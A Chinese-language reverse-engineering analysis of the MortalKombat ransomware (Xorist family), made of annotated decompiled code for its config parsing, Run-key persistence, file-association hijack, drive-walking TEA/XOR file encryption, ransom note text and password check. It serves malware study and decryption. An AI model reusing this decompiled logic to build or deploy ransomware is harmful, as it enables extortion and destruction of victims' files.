MortalKombat(Xorist家族)勒索软件分析

MortalKombat勒索软件分析

MortalKombat属于Xorist家族,采用tea加密,可解密

start

WPARAM __userpurge start@<eax>(int a1@<ebp>, int a2, int a3, int a4, int a5)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  hHeap = GetProcessHeap();
  loadConfig_401F87();                          // 加载资源项0xE,解析配置信息
  GetTempPathA(0x200u, Buffer);
  lstrcpyA(temp_exe_405950, Buffer);
  GetModuleFileNameA(0, Filename, 0x500u);
  teaV_lpBuffer = HeapAlloc(hHeap, 8u, nNumberOfBytesToRead_1741556);
  set_teaxorkey_4017B4((unsigned int *)xorKey_406DB9);// _byteswap_ulong xorkey-->teaxorkey
  getExplorerFileTime_402472();                 // 获取explorer.exe文件时间戳
  lstrcatA(temp_exe_405950, fname_E7OKC9s3IlhAd13_406DD9);
  lstrcatA(temp_exe_405950, aExe);
  if ( CopyFileA(Filename, temp_exe_405950, 1) )// copy自身到temp目录
  {
    hObject = CreateFileA(temp_exe_405950, 0x40000000u, 2u, 0, 3u, 0, 0);
    SetFileTime(hObject, &CreationTime, &LastAccessTime, &LastWriteTime);// 修改时间戳为explorer.exe时间戳
    CloseHandle(hObject);
    if ( run_flag0_407529 == 1 )                // 标志--》设置启动项
      // SOFTWARE\Microsoft\Windows\CurrentVersion\Run
      // Alcmeter
      // xxxx.exe
      regSet_402422(HKEY_LOCAL_MACHINE, SubKey, ValueName, temp_exe_405950);

    set_lockfile_open_402342();                 // 设置勒索文件的打开方式
    modeFlag_0enc_1dec_2destroy_406550 = 0;
    SetErrorMode(1u);
    LogicalDrives = GetLogicalDrives();
    for ( i = 25; ; --i )
    {
      if ( (LogicalDrives & (1 << i)) != 0 )
      {
        findpath_404450[0] = i + 65;
        strcpy(&findpath_404450[1], ":\\*.*");
        v21 = LogicalDrives;
        v20 = (LPSTR)i;
        walks_4013A8();                         // 遍历文件加密/解密
        i = (int)v20;
        LogicalDrives = v21;
      }

      if ( i < 1 )                              // 加密结束
      {
        WirteTxtAndSetWallpaper_401000();       // 桌面写勒索信HOW TO DECRYPT FILES.txt,设置壁纸
        GlobalFree((HGLOBAL)teaV_lpBuffer);
        ExitProcess(0);
      }
    }
  }

  // 加密结束创建解密窗口
  InitCommonControls();
  hInstance = GetModuleHandleA(0);
  argv_40775E = GetCommandLineA();
  v21 = 10;
  v20 = argv_40775E;
  v19 = 0;
  v18 = hInstance;
  v17 = 4200863;
  v16 = a1;
  v15.cbSize = 48;
  v15.style = 8195;
  v15.lpfnWndProc = WndProc_401AB9;
  v15.cbClsExtra = 0;
  v15.cbWndExtra = 0;
  v15.hInstance = hInstance;
  v15.hbrBackground = (HBRUSH)16;
  v15.lpszMenuName = 0;
  v15.lpszClassName = ClassName;                // 0p3nSOurc3 X0r157, motherfucker!
  v15.hCursor = LoadCursorA(0, (LPCSTR)0x7F00);
  v15.hIconSm = 0;
  v15.hIcon = 0;
  RegisterClassExA(&v15);
  SystemMetrics = GetSystemMetrics(0);
  v13 = sub_401E5D(0x12Cu, SystemMetrics);
  v6 = GetSystemMetrics(1);
  v12 = sub_401E5D(0x69u, v6);
  if ( Language_flag4_40752D == 1 )
    Window = CreateWindowExA(0x40180u, ClassName, &Caption, 0x10000000u, v13, v12, 300, 105, 0, 0, v18, 0);// Внимание! 警告!
  else
    Window = CreateWindowExA(0x40180u, ClassName, WindowName, 0x10000000u, v13, v12, 300, 105, 0, 0, v18, 0);// Attention!

  hWnd = Window;
  UpdateWindow(Window);
  while ( GetMessageA(&v14, 0, 0, 0) )
  {
    TranslateMessage(&v14);
    DispatchMessageA(&v14);
  }

  return v14.wParam;
}

loadConfig_401F87

根据泄露的Xorist builder可推断配置信息

img img

BOOL loadConfig_401F87()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  ResourceA = FindResourceA(0, (LPCSTR)14, (LPCSTR)2);
  if ( !ResourceA )
    goto LABEL_9;

  hResInfo = ResourceA;
  v1 = SizeofResource(0, ResourceA);
  if ( !v1 )
    goto LABEL_9;

  v19 = v1;
  Resource = LoadResource(0, hResInfo);
  if ( !Resource )
    goto LABEL_9;

  hResData = Resource;
  v3 = (char *)LockResource(Resource);
  if ( !v3 )
    goto LABEL_9;

  v4 = v3;
  RtlMoveMemory(xorKey_406DB9, v3, 16);         // 0x8E, 0x0A, 0x74, 0x14, 0x62, 0x19, 0x52, 0xFF, 0xBF, 0xC6, 0x04, 0x92, 0x5E, 0x34, 0xCD, 0xA1
                                                // 资源14d 前16字节为xorkey
  v4 += 16;
  xor_40211B(v4, v19 - 16);                     // xor解密后面配置信息
  Suffix_size = *(_DWORD *)v4;                  // 加密的后缀项 配置大小
  v6 = v4 + 4;
  v7 = HeapAlloc(hHeap, 8u, Suffix_size);
  if ( !v7 )
    goto LABEL_9;

  // 前4字节 0x249表示后缀数量
  // b'I\x02\x00\x00*.doc\x00*.DOC\x00*.pdf\x00*.PDF\x00*.fb2\x00*.fb\x00*.dot\x00*.DOT\x00*.dotm\x00*.excel\x00*.powerpoint\x00*.DOTM\x00*.odb\x00*.pkt\x00*.xlt\x00*.xltx\x00*.ldf\x00*.LDF\x00*.xlw\x00*.xml\x00*.xft\x00*.FB\x00*.FB2\x00*.ascii\x00*.mht\x00*.mhtml\x00*.odt\x00*.pox\x00*.ppa\x00*.ppam\x00*.inc\x00*.pps\x00*.ppsm\x00*.wmf\x00*.wmv\x00*.pot\x00*.potm\x00*.odp\x00*.emf\x00*.odp\x00*.ODT\x00*.wps\x00*.xps\x00*.css\x00*.CSS\x00*.xlsx\x00*.XLSX\x00*.svg\x00*.SVG\x00*.rpt\x00*.RPT\x00*.ZIP\x00*.slk\x00*.xla\x00*.xlam\x00*.BAK~\x00*.bak~\x00*.xlsb\x00*.dov\x00*.ibk\x00*.trn\x00*.lbf\x00*.ODB\x00*.tbk\x00*.wbx\x00*.wbcat\x00*.dim\x00*.fza\x00*.qbx\x00*.QBX\x00*.wo1\x00*.w01\x00*.tibkp\x00*.backup.metadata\x00*.bkc\x00*.sn2\x00*.tdb\x00*.pbx5script\x00*.bm3\x00*.gs-bck\x00*.noy\x00*.bkp\x00*.BKP\x00*.crds\x00*.CRDS\x00*.zip\x00*.RAR\x00*.rar\x00*.rpm\x00*.RPM\x00*.iso\x00*.ISO\x00*.cab\x00*.CAB\x00*.accdb\x00*.ACCDB\x00*.db\x00*.DB\x00*.accde\x00*.accdr\x00*.accdt\x00*.aspx\x00*.bat\x00*.bin\x00*.py\x00*.wsf\x00*.cda\x00*.csv\x00*.CSV\x00*.bmp\x00*.gif\x00*.PHP\x00*.HTML\x00*.HTM\x00*.txt\x00*.TXT\x00*.HTA\x00*.php\x00*.html\x00*.htm\x00*.hta\x00*.dif\x00*.dll\x00*.DOCX\x00*.docx\x00*.dotx\x00*.BACKUP\x00*.BACKUP1\x00*.backup\x00*.bk\x00*.BK\x00*.backup1\x00*.eml\x00*.eps\x00*.docm\x00*.DOCM\x00*.exe\x00*.xla\x00*.XLA\x00*.XLAM\x00*.xlam\x00*.xll\x00*.xlm\x00*.xls\x00*.XLS\x00*.XLSM\x00*.xlsm\x00*.xslx\x00*.EXE\x00*.flv\x00*.fiv\x00*.ini\x00*.GHO\x00*.gho\x00*.jar\x00*.JAR\x00*.jpg\x00*.jpeg\x00*.JPG\x00*.JPEG\x00*.mid\x00*.midi\x00*.MDF\x00*.mdf\x00*.mp3\x00*.mp4\x00*.msi\x00*.pst\x00*.mui\x00*.LOG\x00*.PST\x00*.png\x00*.pot\x00*.potm\x00*.potx\x00*.ppam\x00*.pps\x00*.ppsm\x00*.ppsx\x00*.ppt\x00*.pptm\x00*.pptx\x00*.psd\x00*.pst1\x00*.PST1\x00*.rtm\x00*.RTM\x00*.pub\x00*.rtf\x00*.RTF\x00*.sldm\x00*.sldx\x00*.swf\x00*.js\x00*.json\x00*.sys\x00*.tif\x00*.flv\x00*.TIF\x00*.tiff\x00*.vssm\x00*.vstx\x00*.wbk\x00*.wma\x00*.wmd\x00*.wmv\x00*.wmz\x00*.wms\x00*.odp\x00*.ODP\x00*.wav\x00*.tmp\x00*.cmd\x00*.vob\x00*.vsd\x00*.avchd\x00*.xlt\x00*.xltm\x00*.xltx\x00*.xps\x00*.7zip\x00*.TAR\x00*.TGZ\x00*.GZ\x00*.tar\x00*.tgz\x00*.gz\x00*.odd\x00*.ods\x00*.od\x00*.o\x00*.dbk\x00*.dbf\x00*.DBF\x00*.DBK\x00*.img\x00*.image\x00*.git\x00*.mkv\x00*.mov\x00*.com\x00*.cgi\x00*.text\x00*.wks\x00*.key\x00*.data\x00*.wps\x00*.wpd\x00*.xlr\x00*.msg\x00*.part\x00*.sav\x00*.bk1\x00*.pps\x00*.odp\x00*.dat\x00*.DAT\x00*.trs\x00*.TRS\x00*.log\x00*.pdb\x00*.sql\x00*.mysql\x00*.sys\x00*.bak\x00*.BAK\x00*.bak1\x00*.bak2\x00*.cfg\x00*.cpl\x00*.cur\x00*.dmp\x00*.drv\x00*.icns\x00*.ico\x00*.lnk\x00*.msi\x00*.asp\x00*.aspx\x00*.cer\x00*.cfm\x00*.cgi\x00*.pl\x00*.css\x00*.jsp\x00*.gl\x00*.rss\x00*.vbox\x00*.VBOX\x00*.KKZ\x00*.bkz\x00*.abk\x00*.ABK\x00*.VBOX-PREV\x00*.spg\x00*.SPG\x00*.TIG\x00*.tig\x00*.ACP\x00*.acp\x00*.NPF\x00*.npf\x00*.wx\x00*.WX\x00*.DSB\x00*.dsb\x00*.nmm\x00*.NMM\x00*.FBW\x00*.fbw\x00*.SQB\x00*.sqb\x00*.bak2\x00*.BAK2\x00*.ADI\x00*.adi\x00*.blend\x00*.BLEND\x00*.dss\x00*.DSS\x00*.BACKUP1\x00*.backup1\x00*.nba\x00*.NBA\x00*.MBK\x00*.mbk\x00*.bob\x00*.bdb\x00*.BDB\x00*..vbox-prev\x00*.000\x00*.csf\x00*.0\x00*.idx\x00*.vhd\x00*.VHD\x00*.PVHD\x00*.pvhd\x00*.sis\x00*.SIS\x00*.ARC\x00*.arc\x00*.one\x00*.ONE\x00*.onepkg\x00*.ONEPKG\x00*.IDX\x00*.xhtml\x00*.admin\x00*.ai\x00*.ps\x00*.3ds\x00*.edm\x00*.cbu\x00*.Cbu\x00*.FBU\x00*.WUF\x00*.SPF\x00*.TIB\x00*.tib\x00*.TIBX\x00*.TIB1\x00*.tibx\x00*.tib1\x00*.sv21\x00*.abu1\x00*.sbu\x00*.kb\x00*.kb2\x00*.tlg\x00*.ba9\x00*.ba\x00*.ldabak\x00*.sim\x00*.bmk\x00*.003\x00*.002\x00*.001\x00*.bif\x00*.BIF\x00*.dupo\x00*.DUPO\x00*.rdp\x00*.v21\x00*.fbf\x00*.FBF\x00*.backx\x00*.BACKX\x00*.fpsx\x00*.abu\x00*.bff\x00*.BFF\x00*.stg\x00*._A\x00*._a\x00*._b\x00*.mbf\x00*.MBF\x00*.sdc\x00*.bifx\x00*.BIFX\x00*.enc\x00*.ENC\x00*.GBP\x00*.ck9\x00*.ck\x00*.bps\x00*.jbk\x00*.md\x00*.MD\x00*.mdinfo\x00*.csd\x00*.orig\x00*.TMP\x00*.nbf\x00*.paq\x00*.spi\x00*.qic\x00*.sna\x00*.backupdb\x00*.BACKUPDB\x00*.wallet\x00*.walletx\x00*.WALLET\x00*.WALLETX\x00*.pbd\x00*.PBD\x00*.bck\x00*.BCK\x00*.da\x00*.da0\x00*.dao\x00*.bpa\x00*.srr\x00*.ate\x00*.skb\x00*.mig\x00*.rmbak\x00*.xback\x00*.xbak\x00*.bak3\x00*.bckp\x00*.blend2\x00*.sn1\x00*.sn\x00*.gbp\x00*.asd\x00*.$db\x00*.$DB\x00*.old\x00*.new\x00*.NEW\x00*.asvx\x00*.ful\x00*.full\x00*.cbx\x00*.cbk\x00*.nrs\x00*.nco\x00*.win\x00*.WIN\x00*.BA6\x00*.BA7\x00*.ba6\x00*.ba7\x00*.csm\x00*.GHS\x00*.ghs\x00*.sbb\x00*.pfi\x00*.abbu\x00*.wbk\x00*.dpb\x00*.DPB\x00*.bpn\x00*.bup\x00*.fbx\x00*.FBK\x00*.fbk\x00*.dbk\x00*.DBK\x00*.gb\x00*.QBA\x00*.qba\x00*.QBA.TLG\x00*.qba.tlg\x00*.gb1\x00*.GB\x00*.GB1\x00*.BFK\x00*.bkf\x00*.BKF\x00*.bac\x00*.BAC\x00*.aqz\x00*.llx\x00*.ati\x00*.tini\x00*.sav\x00*.wbb\x00*.fh\x00*.bck\x00*.BCK\x00*.bcm\x00*.jps\x00*.obk\x00*.OBK\x00*.ccctask\x00*.CCCTASK\x00*.mddata\x00*.MDDATA\x00*.kmnb\x00*.ba0\x00*.bao\x00*.$$$\x00*.dash\x00*.mem\x00*.rbf\x00*.RBF\x00*.QSF\x00*.qsf\x00*.VPCBACKUP\x00*.md5\x00*.md\x00*.MD\x00*.@@\x00*.@\x00*.$\x00*.fbc\x00*.MID\x00*.mid\x00*.MDBACKUP\x00*.mdbackup\x00*.smem\x00*.sps\x00*.lcb\x00*.bk1\x00*.BK1\x00*.tmr\x00*.nfc\x00*.ebabackup\x00*.eba\x00*.image\x00*.IMAGE\x00*.113\x00*.112\x00*.qbmd\x00*.fhf\x00*.uci\x00*.fwbackup\x00*.xlk\x00*.aea\x00*.prv\x00*.QBMD\x00*.nda\x00*.qbm\x00*.QBM\x00*.asv\x00*.acr\x00*.asv\x00*.jdc\x00*.qbk\x00*.QBK\x00*._B\x00*.oeb\x00*.OEB\x00*.exml\x00*.flkb\x00*.dna\x00*.oyx\x00*.cbs\x00*.GHO2\x00*.gho2\x00*.caa\x00*.tis\x00*.TIS\x00*.pbb\x00*.GHO1\x00*.gho1\x00*.rrr\x00*.psa\x00*.PBB\x00*.nbd\x00*.vpcbackup\x00*.ATI\x00'
  Suffixs_407519 = (int)v7;
  RtlMoveMemory(v7, v6, Suffix_size);
  v8 = (SIZE_T *)&v6[Suffix_size];
  v9 = *v8;
  v10 = v8 + 1;
  v11 = (const CHAR *)HeapAlloc(hHeap, 8u, v9);
  if ( !v11
    || (lpText = v11,                           // 勒索信信息 长度773
                                                // b'YOUR SYSTEM IS LOCKED AND ALL YOUR IMPORTANT DATA HAS BEEN ENCRYPTED.\r\nDON\'T WORRY YOUR FILES ARE SAFE.\r\nTO RETURN ALL THE NORMALLY YOU MUST BUY THE CERBER DECRYPTOR PROGRAM.\r\nPAYMENTS ARE ACCEPTED ONLY THROUGH THE BITCOIN NETWORK.\r\nYOU CAN GET THEM VIA ATM MACHINE OR ONLINE\r\nhttps://coinatmradar.com/ (find a ATM)\r\nhttps://www.localbitcoins.com/ (buy instantly online any country)\r\n1. Visit qtox.github.io \r\n2. Download and install qTOX on your PC. \r\n3. Open it, click "New Profile" and create profile. \r\n4. Click "Add 
                                                // friends" button and search our contact - DA639EF141F3E3C35EA62FF284200C29FA2E7E597EF150FDD526F9891CED372CBB9AB7B8BEC8\r\nFor more information : hack3dlikeapro@proton.me (24/7) Second Support Via Email\r\nSubject : SYSTEM-LOCKED-ID: MortalKombat=ID12DJ901S\x00'
                                                // 
        RtlMoveMemory(v11, v10, v9),
        v12 = (SIZE_T *)((char *)v10 + v9),
        v13 = *v12,
        v14 = v12 + 1,
        (v15 = (const CHAR *)HeapAlloc(hHeap, 8u, v13)) == 0) )
  {
    // .text:00402330                 push    lpBuffer        ; hMem
    // .text:00402336                 call    GlobalFree
    // .text:0040233B                 push    0               ; uExitCode
    // .text:0040233D                 call    ExitProcess
LABEL_9:
    JUMPOUT(0x402330);
  }

  // 加密后缀 长度111 b'.Remember_you_got_only_24_hours_to_make_the_payment_if_you_dont_pay_prize_will_triple_Mortal_Kombat_Ransomware\x00'
  lock_Suffix_407521 = v15;
  RtlMoveMemory(v15, v14, v13);
  v16 = (SIZE_T)v14 + v13;
  RtlMoveMemory(md5_406DC9, v16, 16);
  v16 += 16;
  // run_flag0_407529      -->1 写run注册表开机启动
  // txt_flag1_40752A      -->1 每个加密文件所在目录放置勒索信
  // Message_flag2_40752B  -->1 弹窗显示勒索信内容
  // tea_flag3_40752C      -->1 tea加密 0 xor加密
  // Language_flag4_40752D -->1 俄文 0英文 
  RtlMoveMemory(&run_flag0_407529, v16, 5);     // b'\x01\x01\x00\x01\x00'
  v16 += 5;
  RtlMoveMemory(fname_E7OKC9s3IlhAd13_406DD9, v16, 16);// E7OKC9s3IlhAd13
  v16 += 16;
  RtlMoveMemory(regkey_ZJKCLJAULDZDACP_406DE9, v16, 16);// ZJKCLJAULDZDACP
  v16 += 16;
  RtlMoveMemory(&attempts_99_407525, v16, 4);   // 99 尝试次数
  v16 += 4;
  RtlMoveMemory(&tea_rounds_16_4065A5, v16, 4); // tea加密轮数16
  v16 += 4;
  RtlMoveMemory(&lDistanceToMove_75, v16, 4);   // 从文件偏移75开始加密
  RtlMoveMemory(&nNumberOfBytesToRead_1741556, v16 + 4, 4);// 最大加密大小 1741556
  return FreeResource(hResData);
}

set_lockfile_open_402342

设置相关注册表

*Registry Key* *Value*
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Alcmeter C:\Users<user>\AppData\Local\Temp<ransomware>.exe
HKEY_CLASSES_ROOT\ZJKCLJAULDZDACP
HKEY_CLASSES_ROOT..Remember_you_got_only_24_hours_to_make_the_payment_if_you_dont_pay_prize_will_triple_Mortal_Kombat_Ransomware ZJKCLJAULDZDACP
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ZJKCLJAULDZDACP
HKEY_LOCAL_MACHINE\SOFTWARE\Classes..Remember_you_got_only_24_hours_to_make_the_payment_if_you_dont_pay_prize_will_triple_Mortal_Kombat_Ransomware
HKEY_CLASSES_ROOT\ZJKCLJAULDZDACP\DefaultIcon C:\Users<user>\AppData\Local\Temp<ransomware>.exe,0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ZJKCLJAULDZDACP\DefaultIcon
HKEY_CLASSES_ROOT\ZJKCLJAULDZDACP\shell\open\command C:\Users<user>\AppData\Local\Temp<ransomware>.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ZJKCLJAULDZDACP\shell\open\command

copy from:https://blog.talosintelligence.com/new-mortalkombat-ransomware-and-laplas-clipper-malware-threats/

LSTATUS set_lockfile_open_402342()
{
  lstrcpyA(byte_4065B9, dir_this_404032);       // .
  lstrcatA(byte_4065B9, lock_Suffix_407521);    // .Remember_you_got_only_24_hours_to_make_the_payment_if_you_dont_pay_prize_will_triple_Mortal_Kombat_Ransomware
  regSet_402422(HKEY_CLASSES_ROOT, byte_4065B9, null_40444B, regkey_ZJKCLJAULDZDACP_406DE9);
  regSet_402422(HKEY_CLASSES_ROOT, regkey_ZJKCLJAULDZDACP_406DE9, null_40444B, aCrypted);// CRYPTED!
  lstrcpyA(byte_4065B9, regkey_ZJKCLJAULDZDACP_406DE9);
  lstrcatA(byte_4065B9, aDefaulticon);          // \DefaultIcon
  lstrcatA(temp_exe_405950, a0);                // ,0
  regSet_402422(HKEY_CLASSES_ROOT, byte_4065B9, null_40444B, temp_exe_405950);
  lstrcpyA(byte_4065B9, regkey_ZJKCLJAULDZDACP_406DE9);
  lstrcatA(byte_4065B9, aShellOpenComma);       // \shell\open\command
  byte_40594E[lstrlenA(temp_exe_405950)] = 0;
  return regSet_402422(HKEY_CLASSES_ROOT, byte_4065B9, null_40444B, temp_exe_405950);
}

walks_4013A8

char *walks_4013A8()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  result = (char *)FindFirstFileA(findpath_404450, &FindFileData) + 1;
  if ( result )
  {
    handle = result - 1;
    while ( 1 )
    {
      if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0 )// 文件夹
      {
        if ( lstrcmpA(dir_this_404032, FindFileData.cFileName) )// .
        {
          if ( lstrcmpA(dir_up_404034, FindFileData.cFileName) )// ..
          {
            FileNameA = PathFindFileNameA(findpath_404450);
            v13 = FileNameA - findpath_404450;
            *FileNameA = 0;
            lstrcatA(findpath_404450, FindFileData.cFileName);
            v2 = lstrlenA(findpath_404450);
            *(_DWORD *)&findpath_404450[v2] = '*.*\\';
            findpath_404450[v2 + 4] = 0;
            walks_4013A8();
            *(_DWORD *)((char *)&unk_40444F + v13) = '*.*\\';
            findpath_404450[v13 + 3] = 0;
          }
        }
      }
      else
      {                                         // 文件
        PeekMsg_401377();
        if ( lstrcmpiA(&xxx_txt_404043, FindFileData.cFileName)
          && lstrcmpiA(txt_fname_40405E, FindFileData.cFileName)// HOW TO DECRYPT FILES.txt
          && lstrcmpiA(Wallpaper_randomStr_406DF9, FindFileData.cFileName) )
        {
          *PathFindFileNameA(findpath_404450) = 0;
          if ( txt_flag1_40752A == 1 )          // 在每个勒索文件所在的目录下留下勒索信
            writeTxt_40103A(findpath_404450);

          lstrcatA(findpath_404450, FindFileData.cFileName);
          if ( modeFlag_0enc_1dec_2destroy_406550 != 1 )
          {
            v3 = *(_DWORD *)Suffixs_407519;
            v4 = (const CHAR *)(Suffixs_407519 + 4);
            while ( 1 )
            {
              v14 = v3;
              matched = PathMatchSpecA(findpath_404450, v4);// 匹配后缀
              v4 += lstrlenA(v4) + 1;
              if ( matched )
                break;

              v3 = v14 - 1;
              if ( v14 == 1 )
                goto LABEL_37;
            }

LABEL_19:
            lstrcpyA(ExistingFileName, findpath_404450);
            if ( modeFlag_0enc_1dec_2destroy_406550 )
            {
              if ( modeFlag_0enc_1dec_2destroy_406550 == 1 )
              {
                lstrcpyA(NewFileName, findpath_404450);
                *PathFindExtensionA(NewFileName) = 0;// 去除勒索后缀
              }
              else
              {
                lstrcpyA(NewFileName, findpath_404450);// 破环模式,保持勒索文件名
              }
            }
            else
            {
              lstrcpyA(NewFileName, findpath_404450);
              lstrcatA(NewFileName, dir_this_404032);
              lstrcatA(NewFileName, lock_Suffix_407521);
            }

            v6 = (int)CreateFileA(ExistingFileName, 0xC0000000, 3u, 0, 3u, 0, 0) + 1;
            if ( v6 )
            {
              hObject = (HANDLE)(v6 - 1);
              fsize_406555 = GetFileSize((HANDLE)(v6 - 1), 0);
              if ( fsize_406555 >= 8 )
              {
                GetFileTime(hObject, &stru_40752E, &stru_407536, &stru_40753E);
                SetFilePointer(hObject, lDistanceToMove_75, 0, 0);// 根据配置移动加密偏移
                ReadFile(hObject, (LPVOID)teaV_lpBuffer, nNumberOfBytesToRead_1741556, &nNumberOfBytesToWrite, 0);
                if ( nNumberOfBytesToWrite )
                {
                  salt = *PathFindFileNameA(ExistingFileName);
                  v8 = 16;
                  v9 = tea_xorkey_406595;
                  teakey = teakey_406585;
                  do
                  {
                    table = *v9++;
                    tmp = salt ^ table;
                    salt = __ROL1__(salt, 1);
                    *(_BYTE *)teakey = tmp;//取文件名首字母,经异或、循环移位 操作得到最终tea密钥
                    teakey = (int *)((char *)teakey + 1);
                    --v8;
                  }
                  while ( v8 );

                  if ( tea_flag3_40752C )       // tea/xor加密标志
                  {
                    if ( modeFlag_0enc_1dec_2destroy_406550 )
                      teadec_401797(nNumberOfBytesToWrite);// tea加密
                    else
                      teaenc_40177A(nNumberOfBytesToWrite);
                  }
                  else
                  {
                    xor_401748(nNumberOfBytesToWrite);
                  }

                  SetFilePointer(hObject, lDistanceToMove_75, 0, 0);// 设置文件偏移
                  WriteFile(hObject, teaV_lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);
                }

                SetFileTime(hObject, &stru_40752E, &stru_407536, &stru_40753E);
                CloseHandle(hObject);
                MoveFileA(ExistingFileName, NewFileName);// 重命名
              }
              else
              {
                CloseHandle(hObject);
              }
            }

            goto LABEL_37;
          }

          if ( PathMatchSpecA(findpath_404450, pszSpec) )
            goto LABEL_19;
        }
      }

LABEL_37:
      if ( !FindNextFileA(handle, &FindFileData) )
        return (char *)FindClose(handle);
    }
  }

  return result;
}

tea_enc_4017EC

unsigned __int32 __stdcall tea_enc_4017EC(unsigned int* a1, unsigned __int32* a2)
{
	int v2; // ebx
	unsigned int v3; // eax
	unsigned int v4; // edx
	int v5; // ebx
	unsigned int v6; // eax
	unsigned int v7; // edx
	unsigned __int32 result; // eax

	v2 = 0;
	v3 = _byteswap_ulong(*a1);
	v4 = _byteswap_ulong(a1[1]);
	do
	{
		v5 = v2 - 0x61C88647;
		v6 = ((teakey_406585[1] + (v4 >> 5)) ^ (v5 + v4) ^ (teakey_406585[0] + 16 * v4)) + v3;
		v7 = ((teakey_406585[3] + (v6 >> 5)) ^ (v5 + v6) ^ (teakey_406585[2] + 16 * v6)) + v4;
		v2 = v5 - 0x61C88647;
		v3 = ((teakey_406585[1] + (v7 >> 5)) ^ (v2 + v7) ^ (teakey_406585[0] + 16 * v7)) + v6;
		v4 = ((teakey_406585[3] + (v3 >> 5)) ^ (v2 + v3) ^ (teakey_406585[2] + 16 * v3)) + v7;
	} while (v2 != 0x9E3779B9 * seed_16_4065A5);

	result = _byteswap_ulong(v3);
	*a2 = result;
	a2[1] = _byteswap_ulong(v4);
	return result;
}


tea_dec_4018B0

unsigned __int32 __stdcall tea_dec_4018B0(unsigned int* v, unsigned __int32* out)
{
	unsigned int sum; // ebx
	unsigned int l; // eax
	unsigned int r; // edx
	unsigned int v5; // edx
	unsigned int v6; // eax
	unsigned int v7; // ebx
	unsigned __int32 result; // eax

	sum = 0x9E3779B9 * seed_16_4065A5;
	l = _byteswap_ulong(*v);
	r = _byteswap_ulong(v[1]);
	int i = 0;
	do
	{
		++i;
		v5 = r - ((teakey_406585[3] + (l >> 5)) ^ (sum + l) ^ (teakey_406585[2] + 16 * l));
		v6 = l - ((teakey_406585[1] + (v5 >> 5)) ^ (sum + v5) ^ (teakey_406585[0] + 16 * v5));
		v7 = sum + 0x61C88647;
		r = v5 - ((teakey_406585[3] + (v6 >> 5)) ^ (v7 + v6) ^ (teakey_406585[2] + 16 * v6));
		l = v6 - ((teakey_406585[1] + (r >> 5)) ^ (v7 + r) ^ (teakey_406585[0] + 16 * r));
		sum = v7 + 0x61C88647;
	} while (sum);
	printf("%d\n",i);
	result = _byteswap_ulong(l);
	*out = result;
	out[1] = _byteswap_ulong(r);
	return result;
}

WndProc_401AB9

LRESULT __stdcall WndProc_401AB9(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
  int v4; // eax
  int v5; // ecx
  BYTE *v6; // esi
  char *v7; // edi
  char v8; // al
  char v9; // dl
  HWND Window; // eax
  HWND v11; // eax
  struct tagPAINTSTRUCT Paint; // [esp+0h] [ebp-44h] BYREF

  switch ( Msg )
  {
    case WM_COMMAND:
      switch ( wParam )
      {
        case 0x1F5u:                            // exit
          ExitProcess(0);

        case 0x1F6u:                            // ???
          if ( Language_flag4_40752D == 1 )
            // Внимание! Ваши файлы зашифрованы!
            // Для расшифровки требуется ввести правильный пароль!
            // 注意!你的文件是加密的!

            // 解密需要输入正确的密码!
            MessageBoxA(hWnd, &byte_4040F8, &Caption, 0x40u);
          else
            // Attention! All your files were encrypted!
            // To decrypt files, please enter correct password!
            MessageBoxA(hWnd, aAttentionAllYo, WindowName, 0x40u);

          break;

        case 0x1F4u:                            // ok
          if ( !attempts_99_407525 )            // patch jmp-->防止尝试次数为0之后损坏数据
          {
            enc_or_dec_40124F(-1);
            del_reg_4021C0();
            selfDel_40214B();
            ExitProcess(0);
          }

          --attempts_99_407525;
          if ( GetDlgItemTextA(hWnd, 700, (LPSTR)&pbData, 257) )
          {
            v4 = lstrlenA((LPCSTR)&pbData);     // 输入key进行5次md5运算
            md5_401F15(&pbData, v4, &byte_406565, 0x10u);
            md5_401F15(&byte_406565, 0x10u, &byte_406575, 0x10u);
            md5_401F15(&byte_406575, 0x10u, &byte_406565, 0x10u);
            md5_401F15(&byte_406565, 0x10u, &byte_406575, 0x10u);
            md5_401F15(&byte_406575, 0x10u, &byte_406565, 0x10u);
            v5 = 16;
            v6 = &byte_406565;
            v7 = md5_406DC9;
            while ( 1 )
            {
              v8 = *v6++;
              v9 = *v7++;
              if ( v8 != v9 )                   // 与配置 解密值比较
                break;                          // 此处nop则可解密

              if ( !--v5 )
              {
                right_401216();                 // 进行解密
                del_reg_4021C0();               // 删除写入的注册表信息
                selfDel_40214B();
                ExitProcess(0);
              }
            }
          }

          if ( Language_flag4_40752D == 1 )
            // Пароль введен неверно!
            // 密码输入错误!
            MessageBoxA(hWnd, &byte_4040CA, &byte_4040BB, 0x10u);
          else
            MessageBoxA(hWnd, aPasswordIsInco, aError, 0x10u);

          break;
      }

      break;

    case WM_CREATE:
      if ( !attempts_99_407525 )
        --attempts_99_407525;

      lstrcpyA(lf.lfFaceName, aTahoma);
      lf.lfHeight = -11;
      lf.lfWidth = 0;
      lf.lfWeight = 500;
      ::wParam = (WPARAM)CreateFontIndirectA(&lf);
      if ( Language_flag4_40752D == 1 )
        Window = CreateWindowExA_401EAB(&password_404414, hWnd, 6, 5, 200, 17, 0);// Пароль:
      else
        Window = CreateWindowExA_401EAB(aPassword, hWnd, 6, 5, 200, 17, 0);

      SendMessageA(Window, 0x30u, ::wParam, 1);
      hwnd_ok_40776E = (int)CreateWindowExA_button_401EE0(&OK_404426, hWnd, 5, 50, 175, 25, (HMENU)0x1F4);// OK
      SendMessageA((HWND)hwnd_ok_40776E, 0x30u, ::wParam, 1);
      hwnd_x_407776 = (int)CreateWindowExA_button_401EE0(asc_404429, hWnd, 185, 50, 50, 25, (HMENU)0x1F6);// ???
      SendMessageA((HWND)hwnd_x_407776, 0x30u, ::wParam, 1);
